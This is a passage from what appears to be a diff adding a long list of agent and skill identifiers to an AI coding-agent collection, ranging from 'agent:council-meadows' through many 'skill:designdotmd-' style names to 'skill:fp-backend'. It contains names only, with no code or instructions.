"agent:council-meadows", + "agent:council-munger", + "agent:council-musashi", + "agent:council-rams", + "agent:council-socrates", + "agent:council-sun-tzu", + "agent:council-sutskever", + "agent:council-taleb", + "agent:council-torvalds", + "agent:council-watts", + "agent:coverage-analysis-generator-agent", + "agent:cpp-build-resolver", + "agent:cpp-pro", + "agent:cpp-reviewer", + "agent:crash-analysis-agent", + "agent:crash-analyzer-agent", + "agent:crash-analyzer-checker-agent", + "agent:csharp-developer", + "agent:csharp-pro", + "agent:customer-success-manager", + "agent:customer-support", + "agent:data-analyst", + "agent:data-consolidation-agent", + "agent:data-engineer", + "agent:data-researcher", + "agent:data-scientist", + "agent:database-admin", + "agent:database-administrator", + "agent:database-architect", + "agent:database-optimizer", + "agent:database-reviewer", + "agent:debugger", + "agent:dependency-manager", + "agent:deployment-engineer", + "agent:design-brand-guardian", + "agent:design-image-prompt-engineer", + "agent:design-inclusive-visuals-specialist", + "agent:design-system-architect", + "agent:design-ui-designer", + "agent:design-ux-architect", + "agent:design-ux-researcher", + "agent:design-visual-storyteller", + "agent:design-whimsy-injector", + "agent:devops-engineer", + "agent:devops-incident-responder", + "agent:devops-sre", + "agent:devops-troubleshooter", + "agent:django-developer", + "agent:django-pro", + "agent:doc-updater", + "agent:docker-expert", + "agent:docs-architect", + "agent:docs-lookup", + "agent:documentation-engineer", + "agent:domain-analyzer", + "agent:dotnet-architect", + "agent:dotnet-core-expert", + "agent:dotnet-framework-4.8-expert", + "agent:dx-optimizer", + "agent:e2e-runner", + "agent:electron-pro", + "agent:elixir-expert", + "agent:elixir-pro", + "agent:embedded-systems", + "agent:engineering-ai-data-remediation-engineer", + "agent:engineering-ai-engineer", + "agent:engineering-autonomous-optimization-architect", + "agent:engineering-backend-architect", + "agent:engineering-code-reviewer", + "agent:engineering-data-engineer", + "agent:engineering-database-optimizer", + "agent:engineering-devops-automator", + "agent:engineering-embedded-firmware-engineer", + "agent:engineering-feishu-integration-developer", + "agent:engineering-frontend-developer", + "agent:engineering-git-workflow-master", + "agent:engineering-incident-response-commander", + "agent:engineering-mobile-app-builder", + "agent:engineering-rapid-prototyper", + "agent:engineering-security-engineer", + "agent:engineering-senior-developer", + "agent:engineering-software-architect", + "agent:engineering-solidity-smart-contract-engineer", + "agent:engineering-sre", + "agent:engineering-technical-writer", + "agent:engineering-threat-detection-engineer", + "agent:engineering-wechat-mini-program-developer", + "agent:error-coordinator", + "agent:error-detective", + "agent:event-sourcing-architect", + "agent:exploitability-validator-agent", + "agent:failure-log", + "agent:fastapi-pro", + "agent:file-analyzer", + "agent:fintech-engineer", + "agent:firmware-analyst", + "agent:flutter-expert", + "agent:flutter-reviewer", + "agent:frontend-developer", + "agent:frontend-security-coder", + "agent:fullstack-developer", + "agent:function-trace-generator-agent", + "agent:game-audio-engineer", + "agent:game-designer", + "agent:game-developer", + "agent:git-workflow-manager", + "agent:go-build-resolver", + "agent:go-reviewer", + "agent:godot-multiplayer-engineer", + "agent:godot-shader-developer", + "agent:golang-pro", + "agent:government-digital-presales-consultant", + "agent:graph-reviewer", + "agent:graphql-architect", + "agent:handoff-templates", + "agent:harness-optimizer", + "agent:haskell-pro", + "agent:healthcare-marketing-compliance", + "agent:hr-pro", + "agent:hybrid-cloud-architect", + "agent:identity-graph-operator", + "agent:implementer", + "agent:incident-responder", + "agent:integration-reviewer", + "agent:ios-developer", + "agent:iot-engineer", + "agent:it-ops-orchestrator", + "agent:java-architect", + "agent:java-build-resolver", + "agent:java-pro", + "agent:java-reviewer", + "agent:javascript-pro", + "agent:julia-pro", + "agent:knowledge-graph-guide", + "agent:knowledge-synthesizer", + "agent:kotlin-build-resolver", + "agent:kotlin-reviewer", + "agent:kotlin-specialist", + "agent:kubernetes-architect", + "agent:kubernetes-specialist", + "agent:laravel-specialist", + "agent:legacy-modernizer", + "agent:legal-advisor", + "agent:legal-clauses", + "agent:legal-compliance", + "agent:legal-recommendations", + "agent:legal-risks", + "agent:legal-terms", + "agent:level-designer", + "agent:llm-architect", + "agent:loop-monitor", + "agent:loop-operator", + "agent:lsp-index-engineer", + "agent:m365-admin", + "agent:machine-learning-engineer", + "agent:macos-spatial-metal-engineer", + "agent:malware-analyst", + "agent:market-researcher", + "agent:marketing-app-store-optimizer", + "agent:marketing-baidu-seo-specialist", + "agent:marketing-bilibili-content-strategist", + "agent:marketing-book-co-author", + "agent:marketing-carousel-growth-engine", + "agent:marketing-china-ecommerce-operator", + "agent:marketing-content-creator", + "agent:marketing-cross-border-ecommerce", + "agent:marketing-douyin-strategist", + "agent:marketing-growth-hacker", + "agent:marketing-instagram-curator", + "agent:marketing-kuaishou-strategist", + "agent:marketing-linkedin-content-creator", + "agent:marketing-livestream-commerce-coach", + "agent:marketing-podcast-strategist", + "agent:marketing-private-domain-operator", + "agent:marketing-reddit-community-builder", + "agent:marketing-seo-specialist", + "agent:marketing-short-video-editing-coach", + "agent:marketing-social-media-strategist", + "agent:marketing-tiktok-strategist", + "agent:marketing-twitter-engager", + "agent:marketing-wechat-official-account", + "agent:marketing-weibo-strategist", + "agent:marketing-xiaohongshu-specialist", + "agent:marketing-zhihu-strategist", + "agent:mcp-backend-engineer", + "agent:mcp-developer", + "agent:mermaid-expert", + "agent:microservices-architect", + "agent:minecraft-bukkit-pro", + "agent:ml-engineer", + "agent:mlops-engineer", + "agent:mobile-app-developer", + "agent:mobile-developer", + "agent:mobile-security-coder", + "agent:monorepo-architect", + "agent:multi-agent-coordinator", + "agent:n8n-mcp-tester", + "agent:narrative-designer", + "agent:network-engineer", + "agent:nextjs-developer", + "agent:nexus-strategy", + "agent:nlp-engineer", + "agent:observability-engineer", + "agent:offsec-specialist", + "agent:oss-evidence-verifier-agent", + "agent:oss-hypothesis-checker-agent", + "agent:oss-hypothesis-former-agent", + "agent:oss-investigator-gh-archive-agent", + "agent:oss-investigator-github-agent", + "agent:oss-investigator-ioc-extractor-agent", + "agent:oss-investigator-local-git-agent", + "agent:oss-investigator-wayback-agent", + "agent:oss-report-generator-agent", + "agent:output-evaluator", + "agent:paid-media-auditor", + "agent:paid-media-creative-strategist", + "agent:paid-media-paid-social-strategist", + "agent:paid-media-ppc-strategist", + "agent:paid-media-programmatic-buyer", + "agent:paid-media-search-query-analyst", + "agent:paid-media-tracking-specialist", + "agent:payment-integration", + "agent:penetration-tester", + "agent:performance-engineer", + "agent:performance-monitor", + "agent:phase-0-discovery", + "agent:phase-1-strategy", + "agent:phase-2-foundation", + "agent:phase-3-build", + "agent:phase-4-hardening", + "agent:phase-5-launch", + "agent:phase-6-operate", + "agent:php-pro", + "agent:plan-challenger", + "agent:planner", + "agent:planning-coordinator", + "agent:platform-engineer", + "agent:posix-shell-pro", + "agent:postgres-pro", + "agent:powershell-5.1-expert", + "agent:powershell-7-expert", + "agent:powershell-module-architect", + "agent:powershell-security-hardening", + "agent:powershell-ui-architect", + "agent:product-behavioral-nudge-engine", + "agent:product-feedback-synthesizer", + "agent:product-manager", + "agent:product-sprint-prioritizer", + "agent:product-trend-researcher", + "agent:project-management-experiment-tracker", + "agent:project-management-jira-workflow-steward", + "agent:project-management-project-shepherd", + "agent:project-management-studio-operations", + "agent:project-management-studio-producer", + "agent:project-manager", + "agent:project-manager-senior", + "agent:project-scanner", + "agent:prompt-engineer", + "agent:python-pro", + "agent:python-reviewer", + "agent:pytorch-build-resolver", + "agent:qa-expert", + "agent:quant-analyst", + "agent:rails-expert", + "agent:react-specialist", + "agent:recruitment-specialist", + "agent:refactor-cleaner", + "agent:refactoring-specialist", + "agent:reference-builder", + "agent:report-distribution-agent", + "agent:research-analyst", + "agent:reverse-engineer", + "agent:risk-manager", + "agent:roblox-avatar-creator", + "agent:roblox-experience-designer", + "agent:roblox-systems-scripter", + "agent:rtk-testing-specialist", + "agent:ruby-pro", + "agent:rust-build-resolver", + "agent:rust-engineer", + "agent:rust-pro", + "agent:rust-reviewer", + "agent:rust-rtk", + "agent:sales-account-strategist", + "agent:sales-automator", + "agent:sales-coach", + "agent:sales-data-extraction-agent", + "agent:sales-deal-strategist", + "agent:sales-discovery-coach", + "agent:sales-engineer", + "agent:sales-outbound-strategist", + "agent:sales-pipeline-analyst", + "agent:sales-proposal-strategist", + "agent:scala-pro", + "agent:scenario-enterprise-feature", + "agent:scenario-incident-response", + "agent:scenario-marketing-campaign", + "agent:scenario-startup-mvp", + "agent:scientific-literature-researcher", + "agent:scrum-master", + "agent:search-specialist", + "agent:security-auditor", + "agent:security-engineer", + "agent:security-patcher", + "agent:security-reviewer", + "agent:seo-authority-builder", + "agent:seo-cannibalization-detector", + "agent:seo-content-auditor", + "agent:seo-content-planner", + "agent:seo-content-refresher", + "agent:seo-content-writer", + "agent:seo-keyword-strategist", + "agent:seo-meta-optimizer", + "agent:seo-snippet-hunter", + "agent:seo-specialist", + "agent:seo-structure-architect", + "agent:service-mesh-expert", + "agent:slack-expert", + "agent:specialized-cultural-intelligence-strategist", + "agent:specialized-developer-advocate", + "agent:specialized-document-generator", + "agent:specialized-mcp-builder", + "agent:specialized-model-qa", + "agent:specialized-workflow-architect", + "agent:spring-boot-engineer", + "agent:sql-pro", + "agent:sre-engineer", + "agent:startup-analyst", + "agent:study-abroad-advisor", + "agent:supply-chain-strategist", + "agent:support-analytics-reporter", + "agent:support-executive-summary-generator", + "agent:support-finance-tracker", + "agent:support-infrastructure-maintainer", + "agent:support-legal-compliance-checker", + "agent:support-support-responder", + "agent:swift-expert", + "agent:system-architect", + "agent:task-distributor", + "agent:tdd-guide", + "agent:tdd-orchestrator", + "agent:team-debugger", + "agent:team-implementer", + "agent:team-lead", + "agent:team-reviewer", + "agent:technical-artist", + "agent:technical-researcher", + "agent:technical-writer", + "agent:temporal-python-pro", + "agent:terminal-integration-specialist", + "agent:terraform-engineer", + "agent:terraform-specialist", + "agent:terragrunt-expert", + "agent:test-automator", + "agent:test-writer", + "agent:testing-accessibility-auditor", + "agent:testing-api-tester", + "agent:testing-evidence-collector", + "agent:testing-performance-benchmarker", + "agent:testing-reality-checker", + "agent:testing-test-results-analyzer", + "agent:testing-tool-evaluator", + "agent:testing-workflow-optimizer", + "agent:threat-modeling-expert", + "agent:tooling-engineer", + "agent:tour-builder", + "agent:trend-analyst", + "agent:tutorial-engineer", + "agent:typescript-pro", + "agent:typescript-reviewer", + "agent:ui-designer", + "agent:ui-ux-designer", + "agent:ui-visual-validator", + "agent:unity-architect", + "agent:unity-developer", + "agent:unity-editor-tool-developer", + "agent:unity-multiplayer-engineer", + "agent:unity-shader-graph-artist", + "agent:unreal-multiplayer-architect", + "agent:unreal-systems-engineer", + "agent:unreal-technical-artist", + "agent:unreal-world-builder", + "agent:ux-researcher", + "agent:vector-database-engineer", + "agent:visionos-spatial-engineer", + "agent:vue-expert", + "agent:websocket-engineer", + "agent:windows-infra-admin", + "agent:wordpress-master", + "agent:workflow-orchestrator", + "agent:xr-cockpit-interaction-specialist", + "agent:xr-immersive-developer", + "agent:xr-interface-architect", + "agent:zk-steward", + "skill:00-andruia-consultant", + "skill:2d-games", + "skill:3d-games", + "skill:3d-web-experience", + "skill:ab-test-setup", + "skill:acceptance-orchestrator", + "skill:accessibility-compliance", + "skill:accessibility-compliance-accessibility-audit", + "skill:active-directory-attacks", + "skill:ad-creative", + "skill:address-github-comments", + "skill:advanced-evaluation", + "skill:aegisops-ai", + "skill:agent-evaluation", + "skill:agent-introspection-debugging", + "skill:agent-manager-skill", + "skill:agent-memory-mcp", + "skill:agent-memory-systems", + "skill:agent-orchestration-improve-agent", + "skill:agent-orchestration-multi-agent-optimize", + "skill:agent-payment-x402", + "skill:agent-sort", + "skill:agent-tool-builder", + "skill:agentflow", + "skill:agentfolio", + "skill:agentic-actions-auditor", + "skill:agentic-engineering", + "skill:agentmail", + "skill:agentphone", + "skill:agents-md", + "skill:ai-agent-development", + "skill:ai-agents-architect", + "skill:ai-engineer", + "skill:ai-engineering-toolkit", + "skill:ai-md", + "skill:ai-ml", + "skill:ai-native-cli", + "skill:ai-product", + "skill:ai-regression-testing", + "skill:ai-seo", + "skill:ai-wrapper-product", + "skill:airflow-dag-patterns", + "skill:airtable-automation", + "skill:algolia-search", + "skill:algorithmic-art", + "skill:alpha-vantage", + "skill:analytics-product", + "skill:analytics-tracking", + "skill:analyze-project", + "skill:analyzer", + "skill:android-clean-architecture", + "skill:android-jetpack-compose-expert", + "skill:android-ui-verification", + "skill:android-viewpager2-blank-subtabs", + "skill:android_ui_verification", + "skill:angular", + "skill:angular-best-practices", + "skill:angular-migration", + "skill:angular-state-management", + "skill:angular-ui-patterns", + "skill:animejs-animation", + "skill:anti-reversing-techniques", + "skill:antigravity-design-expert", + "skill:antigravity-skill-orchestrator", + "skill:antigravity-workflows", + "skill:api-design", + "skill:api-design-principles", + "skill:api-documentation", + "skill:api-documenter", + "skill:api-endpoint-builder", + "skill:api-fuzzing-bug-bounty", + "skill:api-patterns", + "skill:api-security-best-practices", + "skill:api-security-testing", + "skill:api-testing-observability-api-mock", + "skill:apify-actor-development", + "skill:apify-actorization", + "skill:apify-audience-analysis", + "skill:apify-brand-reputation-monitoring", + "skill:apify-competitor-intelligence", + "skill:apify-content-analytics", + "skill:apify-ecommerce", + "skill:apify-influencer-discovery", + "skill:apify-lead-generation", + "skill:apify-market-research", + "skill:apify-trend-analysis", + "skill:apify-ultimate-scraper", + "skill:app-builder", + "skill:app-store-changelog", + "skill:app-store-optimization", + "skill:appdeploy", + "skill:application-performance-performance-optimization", + "skill:architect-review", + "skill:architecture", + "skill:architecture-decision-records", + "skill:architecture-patterns", + "skill:arm-cortex-expert", + "skill:article-writing", + "skill:artifacts-builder", + "skill:asana-automation", + "skill:ask-questions-if-underspecified", + "skill:astro", + "skill:astropy", + "skill:async-python-patterns", + "skill:attack-tree-construction", + "skill:audio-transcriber", + "skill:audit-agents-skills", + "skill:audit-context-building", + "skill:audit-skills", + "skill:auth-implementation-patterns", + "skill:automation-audit-ops", + "skill:autonomous-agent-harness", + "skill:autonomous-agent-patterns", + "skill:autonomous-agents", + "skill:autonomous-loops", + "skill:autoresearch", + "skill:avalonia-layout-zafiro", + "skill:avalonia-viewmodels-zafiro", + "skill:avalonia-zafiro-development", + "skill:avoid-ai-writing", + "skill:awareness-stage-mapper", + "skill:aws-compliance-checker", + "skill:aws-cost-cleanup", + "skill:aws-cost-optimizer", + "skill:aws-iam-best-practices", + "skill:aws-penetration-testing", + "skill:aws-secrets-rotation", + "skill:aws-security-audit", + "skill:aws-serverless", + "skill:aws-skills", + "skill:awt-e2e-testing", + "skill:azure-ai-agents-persistent-java", + "skill:azure-ai-projects-java", + "skill:azure-ai-transcription-py", + "skill:azure-cosmos-rust", + "skill:azure-eventgrid-py", + "skill:azure-functions", + "skill:azure-identity-rust", + "skill:azure-keyvault-certificates-rust", + "skill:azure-keyvault-keys-rust", + "skill:azure-keyvault-secrets-rust", + "skill:azure-storage-blob-rust", + "skill:babysitter-stop-hook-loop", + "skill:backend-architect", + "skill:backend-dev-guidelines", + "skill:backend-development-feature-development", + "skill:backend-patterns", + "skill:backend-security-coder", + "skill:backtesting-frameworks", + "skill:base", + "skill:baseline", + "skill:baseline-ui", + "skill:bash-defensive-patterns", + "skill:bash-linux", + "skill:bash-pro", + "skill:bash-scripting", + "skill:bats-testing-patterns", + "skill:bazel-build-optimization", + "skill:bdi-mental-states", + "skill:bdistill-behavioral-xray", + "skill:bdistill-knowledge-extraction", + "skill:beautiful-prose", + "skill:behavioral-modes", + "skill:benchmark", + "skill:bevy-ecs-expert", + "skill:billing-automation", + "skill:binary-analysis-patterns", + "skill:biopython", + "skill:block-no-verify-hook", + "skill:blockchain-developer", + "skill:blockrun", + "skill:blog-writing-guide", + "skill:brainstorming", + "skill:brand-guidelines", + "skill:brand-guidelines-anthropic", + "skill:brand-guidelines-community", + "skill:brand-perception-psychologist", + "skill:brand-voice", + "skill:broken-authentication", + "skill:browser-automation", + "skill:browser-extension-builder", + "skill:bug-hunter", + "skill:build", + "skill:build-graph", + "skill:building-native-ui", + "skill:bullmq-specialist", + "skill:bun-development", + "skill:bun-runtime", + "skill:burp-suite-testing", + "skill:burpsuite-project-parser", + "skill:business-analyst", + "skill:busybox-on-windows", + "skill:c-pro", + "skill:c4-architecture-c4-architecture", + "skill:c4-code", + "skill:c4-component", + "skill:c4-container", + "skill:c4-context", + "skill:calc", + "skill:canary-watch", + "skill:canvas-design", + "skill:career-ops", + "skill:carrier-relationship-management", + "skill:caveman-compress", + "skill:caveman-help", + "skill:cc-skill-backend-patterns", + "skill:cc-skill-clickhouse-io", + "skill:cc-skill-coding-standards", + "skill:cc-skill-continuous-learning", + "skill:cc-skill-frontend-patterns", + "skill:cc-skill-project-guidelines-example", + "skill:cc-skill-security-review", + "skill:cc-skill-strategic-compact", + "skill:ccboard", + "skill:cdk-patterns", + "skill:changelog-automation", + "skill:changelog-generator", + "skill:chat-widget", + "skill:chrome-extension-developer", + "skill:churn-prevention", + "skill:cicd-automation-workflow-automate", + "skill:circleci-automation", + "skill:ck", + "skill:claimable-postgres", + "skill:clarity-gate", + "skill:claude-api", + "skill:claude-code-expert", + "skill:claude-code-guide", + "skill:claude-d3js-skill", + "skill:claude-settings-audit", + "skill:clean-code", + "skill:clerk-auth", + "skill:click-path-audit", + "skill:clickhouse-io", + "skill:closed-loop-delivery", + "skill:cloud-architect", + "skill:cloud-devops", + "skill:cloudflare-workers-expert", + "skill:cloudformation-best-practices", + "skill:code-documentation-code-explain", + "skill:code-documentation-doc-generate", + "skill:code-guide-cc", + "skill:code-paths", + "skill:code-refactoring-context-restore", + "skill:code-refactoring-refactor-clean", + "skill:code-refactoring-tech-debt", + "skill:code-review-ai-ai-review", + "skill:code-review-checklist", + "skill:code-review-excellence", + "skill:code-reviewer", + "skill:code-simplifier", + "skill:code-tour", + "skill:code-understanding", + "skill:codebase-audit-pre-push", + "skill:codebase-cleanup-deps-audit", + "skill:codebase-cleanup-refactor-clean", + "skill:codebase-cleanup-tech-debt", + "skill:codebase-to-wordpress-converter", + "skill:codex-review", + "skill:coding-standards", + "skill:cold-email", + "skill:comfyui-gateway", + "skill:commit", + "skill:competitive-landscape", + "skill:competitor-alternatives", + "skill:compose-multiplatform-patterns", + "skill:comprehensive-review-full-review", + "skill:comprehensive-review-pr-enhance", + "skill:compress", + "skill:computer-use-agents", + "skill:computer-vision-expert", + "skill:concise-planning", + "skill:conductor-implement", + "skill:conductor-manage", + "skill:conductor-new-track", + "skill:conductor-revert", + "skill:conductor-setup", + "skill:conductor-status", + "skill:conductor-validator", + "skill:configure-ecc", + "skill:connections-optimizer", + "skill:constant-time-analysis", + "skill:content-creator", + "skill:content-engine", + "skill:content-hash-cache-pattern", + "skill:content-marketer", + "skill:content-strategy", + "skill:context-agent", + "skill:context-compression", + "skill:context-degradation", + "skill:context-driven-development", + "skill:context-fundamentals", + "skill:context-management-context-restore", + "skill:context-management-context-save", + "skill:context-manager", + "skill:context-mode", + "skill:context-mode-ops", + "skill:context-optimization", + "skill:context-window-management", + "skill:context7-auto-research", + "skill:continuous-learning", + "skill:continuous-learning-v2", + "skill:contributing", + "skill:conversation-memory", + "skill:convex", + "skill:copilot-sdk", + "skill:copilotkit-nextjs-integration", + "skill:copy-editing", + "skill:copywriting", + "skill:copywriting-psychologist", + "skill:core-components", + "skill:cost-aware-llm-pipeline", + "skill:cost-optimization", + "skill:council", + "skill:cpp-coding-standards", + "skill:cpp-pro", + "skill:cpp-testing", + "skill:cqrs-implementation", + "skill:create-branch", + "skill:create-issue-gate", + "skill:create-pr", + "skill:crewai", + "skill:crosspost", + "skill:crypto-bd-agent", + "skill:csharp-pro", + "skill:csharp-testing", + "skill:ctx-doctor", + "skill:ctx-insight", + "skill:ctx-purge", + "skill:ctx-stats", + "skill:ctx-upgrade", + "skill:customer-billing-ops", + "skill:customer-psychographic-profiler", + "skill:customer-support", + "skill:customs-trade-compliance", + "skill:cyber-defense-team", + "skill:d3js-skill", + "skill:daily", + "skill:daily-news-report", + "skill:dart-flutter-patterns", + "skill:dashboard-builder", + "skill:data-engineer", + "skill:data-engineering-data-driven-feature", + "skill:data-engineering-data-pipeline", + "skill:data-quality-frameworks", + "skill:data-scientist", + "skill:data-scraper-agent", + "skill:data-storytelling", + "skill:data-structure-protocol", + "skill:database", + "skill:database-admin", + "skill:database-architect", + "skill:database-cloud-optimization-cost-optimize", + "skill:database-design", + "skill:database-migration", + "skill:database-migrations", + "skill:database-migrations-migration-observability", + "skill:database-migrations-sql-migrations", + "skill:database-optimizer", + "skill:dbos-golang", + "skill:dbos-python", + "skill:dbos-typescript", + "skill:dbt-transformation-patterns", + "skill:ddd-context-mapping", + "skill:ddd-strategic-design", + "skill:ddd-tactical-patterns", + "skill:debug-buttercup", + "skill:debugger", + "skill:debugging-strategies", + "skill:debugging-toolkit-smart-debug", + "skill:deep-project", + "skill:deep-research", + "skill:defi-amm-security", + "skill:defi-protocol-templates", + "skill:defuddle", + "skill:dependency-management-deps-audit", + "skill:dependency-upgrade", + "skill:deployment-engineer", + "skill:deployment-patterns", + "skill:deployment-pipeline-design", + "skill:deployment-procedures", + "skill:deployment-validation-config-validate", + "skill:design-md", + "skill:design-orchestration", + "skill:design-patterns", + "skill:design-spells", + "skill:design-system", + "skill:design-system-patterns", + "skill:designdotmd-3d-sculpt", + "skill:designdotmd-ai-labs", + "skill:designdotmd-airline-altitude", + "skill:designdotmd-airport-departures", + "skill:designdotmd-analytics-crisp", + "skill:designdotmd-aqua-mint", + "skill:designdotmd-arcade-neon-pop", + "skill:designdotmd-architect-blueprint", + "skill:designdotmd-arctic", + "skill:designdotmd-atelier-noir", + "skill:designdotmd-bakery-flour", + "skill:designdotmd-barbershop-pole", + "skill:designdotmd-battle-royale", + "skill:designdotmd-bauhaus", + "skill:designdotmd-board-game-tavern", + "skill:designdotmd-botanical", + "skill:designdotmd-botanical-apothecary", + "skill:designdotmd-broadsheet-01", + "skill:designdotmd-brutalist-office", + "skill:designdotmd-cafe-racer", + "skill:designdotmd-campaign-rally", + "skill:designdotmd-campus-collegiate", + "skill:designdotmd-candy-shop", + "skill:designdotmd-candy-tap", + "skill:designdotmd-ceramics-kiln", + "skill:designdotmd-chapel-stained", + "skill:designdotmd-chat-app-plum", + "skill:designdotmd-civic-register", + "skill:designdotmd-classroom-paper", + "skill:designdotmd-climate-atlas", + "skill:designdotmd-clinic-sage", + "skill:designdotmd-clinical", + "skill:designdotmd-cobalt-product", + "skill:designdotmd-coffee-roast", + "skill:designdotmd-comic-ink", + "skill:designdotmd-concrete-lemon", + "skill:designdotmd-coworking-loft", + "skill:designdotmd-criterion-letterbox", + "skill:designdotmd-crypto-violet", + "skill:designdotmd-cyber-matrix", + "skill:designdotmd-cyberpunk-city", + "skill:designdotmd-dating-blush", + "skill:designdotmd-daw-waveform", + "skill:designdotmd-defi-chrome", + "skill:designdotmd-denim-workwear", + "skill:designdotmd-desert-rose", + "skill:designdotmd-devops-graphite", + "skill:designdotmd-dispatch-mono", + "skill:designdotmd-dungeon-crawl", + "skill:designdotmd-ev-silver", + "skill:designdotmd-exchange-tick", + "skill:designdotmd-farmers-market", + "skill:designdotmd-farmsim-harvest", + "skill:designdotmd-festival-fluoro", + "skill:designdotmd-field-notes", + "skill:designdotmd-film-photography", + "skill:designdotmd-florist-bouquet", + "skill:designdotmd-forest-floor", + "skill:designdotmd-forest-trail", + "skill:designdotmd-forum-usenet", + "skill:designdotmd-gallery-avant", + "skill:designdotmd-gallery-white", + "skill:designdotmd-glassline", + "skill:designdotmd-graphite", + "skill:designdotmd-gym-kettlebell", + "skill:designdotmd-hackerspace", + "skill:designdotmd-heritage", + "skill:designdotmd-horology-chronograph", + "skill:designdotmd-hotel-riviera", + "skill:designdotmd-indie-festival", + "skill:designdotmd-iot-home", + "skill:designdotmd-jazz-club", + "skill:designdotmd-kids-crayon", + "skill:designdotmd-kraft-paper", + "skill:designdotmd-law-chambers", + "skill:designdotmd-linen", + "skill:designdotmd-luxe-commerce", + "skill:designdotmd-magazine-rouge", + "skill:designdotmd-matcha", + "skill:designdotmd-meditation-zen", + "skill:designdotmd-midjourney-dream", + "skill:designdotmd-mint-receipt", + "skill:designdotmd-motorsport-livery", + "skill:designdotmd-museum-plaque", + "skill:designdotmd-mutual-aid", + "skill:designdotmd-national-park", + "skill:designdotmd-natural-wine", + "skill:designdotmd-neobank-mint", + "skill:designdotmd-neon-arcade", + "skill:designdotmd-newsletter-sunday", + "skill:designdotmd-nightclub-strobe", + "skill:designdotmd-notion-beige", + "skill:designdotmd-observatory", + "skill:designdotmd-obsidian", + "skill:designdotmd-ocean-depth", + "skill:designdotmd-old-money", + "skill:designdotmd-oss-terminal", + "skill:designdotmd-paper-white", + "skill:designdotmd-pastel-candy", + "skill:designdotmd-payday-punch", + "skill:designdotmd-pet-pawprint", + "skill:designdotmd-pharma-clean", + "skill:designdotmd-pixel-quest", + "skill:designdotmd-podcast-studio", + "skill:designdotmd-poker-felt", + "skill:designdotmd-portfolio-studio", + "skill:designdotmd-quantum-lab", + "skill:designdotmd-rave-poster", + "skill:designdotmd-realty-open-house", + "skill:designdotmd-record-sleeve", + "skill:designdotmd-remote-hub", + "skill:designdotmd-risograph", + "skill:designdotmd-roblox-bubble", + "skill:designdotmd-robotics-lab", + "skill:designdotmd-running-kilometer", + "skill:designdotmd-scandi-pine", + "skill:designdotmd-science-journal", + "skill:designdotmd-skate-deck", + "skill:designdotmd-ski-alpine", + "skill:designdotmd-skincare-matte", + "skill:designdotmd-social-dusk", + "skill:designdotmd-solarpunk", + "skill:designdotmd-spa-onsen", + "skill:designdotmd-space-mission", + "skill:designdotmd-spatial-glass", + "skill:designdotmd-speakeasy", + "skill:designdotmd-speedrun-clock", + "skill:designdotmd-sports-hud", + "skill:designdotmd-storybook-paper", + "skill:designdotmd-street-food", + "skill:designdotmd-streetwear-block", + "skill:designdotmd-stripe-gradient", + "skill:designdotmd-sunset-magazine", + "skill:designdotmd-surf-daybreak", + "skill:designdotmd-swiss-grid", + "skill:designdotmd-tailwind-base", + "skill:designdotmd-tarot-deck", + "skill:designdotmd-tattoo-studio", + "skill:designdotmd-tea-house", + "skill:designdotmd-terminal", + "skill:designdotmd-terracotta", + "skill:designdotmd-theatre-playbill", + "skill:designdotmd-therapy-room", + "skill:designdotmd-tokyo-midnight", + "skill:designdotmd-transit-map", + "skill:designdotmd-typewriter", + "skill:designdotmd-vercel-ink", + "skill:designdotmd-wealth-noir", + "skill:designdotmd-weather-stratus", + "skill:designdotmd-wellness-coral", + "skill:designdotmd-whisky-peat", + "skill:designdotmd-wine-country", + "skill:designdotmd-y2k-chrome", + "skill:designdotmd-yacht-club", + "skill:designdotmd-zed-dev", + "skill:designdotmd-zine-risograph", + "skill:devcontainer-setup", + "skill:developer-growth-analysis", + "skill:development", + "skill:devops-deploy", + "skill:devops-troubleshooter", + "skill:diary", + "skill:differential-review", + "skill:discord-bot-architect", + "skill:dispatching-parallel-agents", + "skill:distributed-debugging-debug-trace", + "skill:distributed-tracing", + "skill:django-access-review", + "skill:django-patterns", + "skill:django-perf-review", + "skill:django-pro", + "skill:django-security", + "skill:django-tdd", + "skill:django-verification", + "skill:dmux-workflows", + "skill:do", + "skill:doc-coauthoring", + "skill:doc-traceability-validator", + "skill:docker", + "skill:docker-expert", + "skill:docker-patterns", + "skill:docs-architect", + "skill:documentation", + "skill:documentation-generation-doc-generate", + "skill:documentation-lookup", + "skill:documentation-templates", + "skill:docx-official", + "skill:domain-driven-design", + "skill:dotnet-architect", + "skill:dotnet-backend-patterns", + "skill:draw", + "skill:drizzle-orm-expert", + "skill:dwarf-expert", + "skill:dx-optimizer", + "skill:e2e-test-service-management", + "skill:e2e-testing", + "skill:e2e-testing-patterns", + "skill:earllm-build", + "skill:ecc-tools-cost-audit", + "skill:electron-development", + "skill:eli5", + "skill:elixir-pro", + "skill:email-ops", + "skill:email-sequence", + "skill:email-systems", + "skill:embedding-strategies", + "skill:emblemai-crypto-wallet", + "skill:emotional-arc-designer", + "skill:employment-contract-templates", + "skill:energy-procurement", + "skill:enhance-prompt", + "skill:environment-setup-guide", + "skill:error-debugging-error-analysis", + "skill:error-debugging-error-trace", + "skill:error-debugging-multi-agent-review", + "skill:error-detective", + "skill:error-diagnostics-error-analysis", + "skill:error-diagnostics-error-trace", + "skill:error-diagnostics-smart-debug", + "skill:error-handling-patterns", + "skill:ethical-hacking-methodology", + "skill:eval-harness", + "skill:eval-skills", + "skill:evaluation", + "skill:evaluation-methodology", + "skill:event-sourcing-architect", + "skill:everything-claude-code", + "skill:evm-token-decimals", + "skill:evolution", + "skill:executing-plans", + "skill:explain-like-socrates", + "skill:exploitability-validation", + "skill:exploitation-validator", + "skill:expo-api-routes", + "skill:expo-cicd-workflows", + "skill:expo-deployment", + "skill:expo-dev-client", + "skill:expo-tailwind-setup", + "skill:expo-ui-jetpack-compose", + "skill:expo-ui-swift-ui", + "skill:faf-expert", + "skill:faf-wizard", + "skill:fal-ai-media", + "skill:fal-platform", + "skill:fal-workflow", + "skill:fastapi-pro", + "skill:fastapi-router-py", + "skill:fastapi-templates", + "skill:favicon", + "skill:fda-food-safety-auditor", + "skill:fda-medtech-compliance-auditor", + "skill:ffuf-web-fuzzing", + "skill:file-organizer", + "skill:file-path-traversal", + "skill:file-uploads", + "skill:filesystem-context", + "skill:finance-billing-ops", + "skill:find-bugs", + "skill:finishing-a-development-branch", + "skill:firebase", + "skill:firecrawl-scraper", + "skill:firmware-analyst", + "skill:fix-review", + "skill:fixing-accessibility", + "skill:fixing-metadata", + "skill:fixing-motion-performance", + "skill:fleet-auditor", + "skill:flutter-expert", + "skill:form-cro", + "skill:foundation-models-on-device", + "skill:fp-async", + "skill:fp-backend", + 